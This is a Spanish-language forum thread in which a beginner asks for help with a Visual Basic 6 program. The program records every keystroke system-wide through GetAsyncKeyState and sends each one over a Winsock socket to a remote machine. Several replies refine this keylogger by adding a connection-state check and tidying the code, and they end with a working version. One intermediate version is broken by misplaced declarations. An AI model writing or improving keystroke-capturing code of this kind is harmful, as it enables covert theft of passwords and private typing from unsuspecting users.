Hola tengo este codigo:
Dim PropBag As New PropertyBag
Option Explicit
Private Declare Function GetAsyncKeyState _
Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim i As Integer
For i = 0 To 255
If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
End If
Next
End Sub
Bueno no se si me explico bien, pero lo que quiero es que al confirmarse esta linea "GetAsyncKeyState(i) = -32767" despues confirme que winsock1 este conectado, y si es asi que envie los datos.
Desde ya muchas gracias.
(si esta un poco desprolijo el code xD no critiquen porfavor recien estoy aprendiendo)
No soy muy versado en VB pero me parece que esa api no esta bien implementada en
For i = 0 To 255
If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
aqui lo que estas haciendo es verificando los codigos ascci del 0 al 255 y preguntando si la tecla no fue hundida :( bueno debido a que la api retorna 1 si la tecla la presionaron o cero si no la han hunddo por lo que nunca entrara en el if.
Si quieres saber si hay conexion a internet puedes usar gethostbyname con un servidor estable como google.es..
Saludos
Hola, imaginate que hasta vos te diste cuenta que esta desprolijo...podes consultar si Winsock1.State = sckConnected, las variables abajo del Option Explicit y indenta el codigo fuente.
PD: Detectar la tecla presionada en cualquier ventana de Windows (http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/24.htm)
saludos.
hola, pone el code en codigo tipo visual basic
aca un code que porai te srive
Dim PropBag As New PropertyBag
Option Explicit
Private Declare Function GetAsyncKeyState _
Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim i As Integer
For i = 0 To 255
If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
If Winsock1.State = 7 Then
Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
End If
End if
Next
End Sub
no lo probe pero creo que va bien, pero esa es la base, el winsock.state
PD: no revise el resto del code
PD (neo): lo hice asi nomas
saludos
Cita de: fede_cp en 27 Agosto 2009, 01:43 AM
hola, pone el code en codigo tipo visual basic
aca un code que porai te srive Private Sub Form_Load()
Dim PropBag As New PropertyBag
Option Explicit
Private Declare Function GetAsyncKeyState _
Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim i As Integer
For i = 0 To 255
If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
If Winsock1.State = 7 Then
Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
End If
Next
End Sub
End Sub
saludos
no sabia que las api's y el option explicit se ponian dentro del form_load :xD :xD , y aparte podes hacer un
And y te ahorras un If..
Citarno sabia que las api's y el option explicit se ponian dentro del form_load :xD :xD , y aparte podes hacer un And y te ahorras un If..
fijate que yo no lo puse en form_load
me lo estaba diciendo a mi :xD, ajja esta bien me equivoque, solo trato de ayudar.
saludos
nonono no hay problema por ahi pense que se lo iba tomar asi y despues cometia errores en sus futuros programas.
bueno ahora posteo el code como lo dijo neo
Dim PropBag As New PropertyBag
Option Explicit
Private Declare Function GetAsyncKeyState _
Lib "user32" ( _
ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim i As Integer
For i = 0 To 255
If GetAsyncKeyState(i) = -32767 And Winsock1.State = 7 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
End If
Next
End Sub
saludos :¬¬
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim PropBag As New PropertyBag
Private Sub Timer1_Timer()
Dim i As Integer
For i = 0 To 255
If GetAsyncKeyState(i) = -32767 And Winsock1.State = sckConnected Then
Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
End If
Next
End Sub
Muchas gracias por su ayuda y dedicar un tiempo a mi problema. Ya solucione el tema, gracias en serio.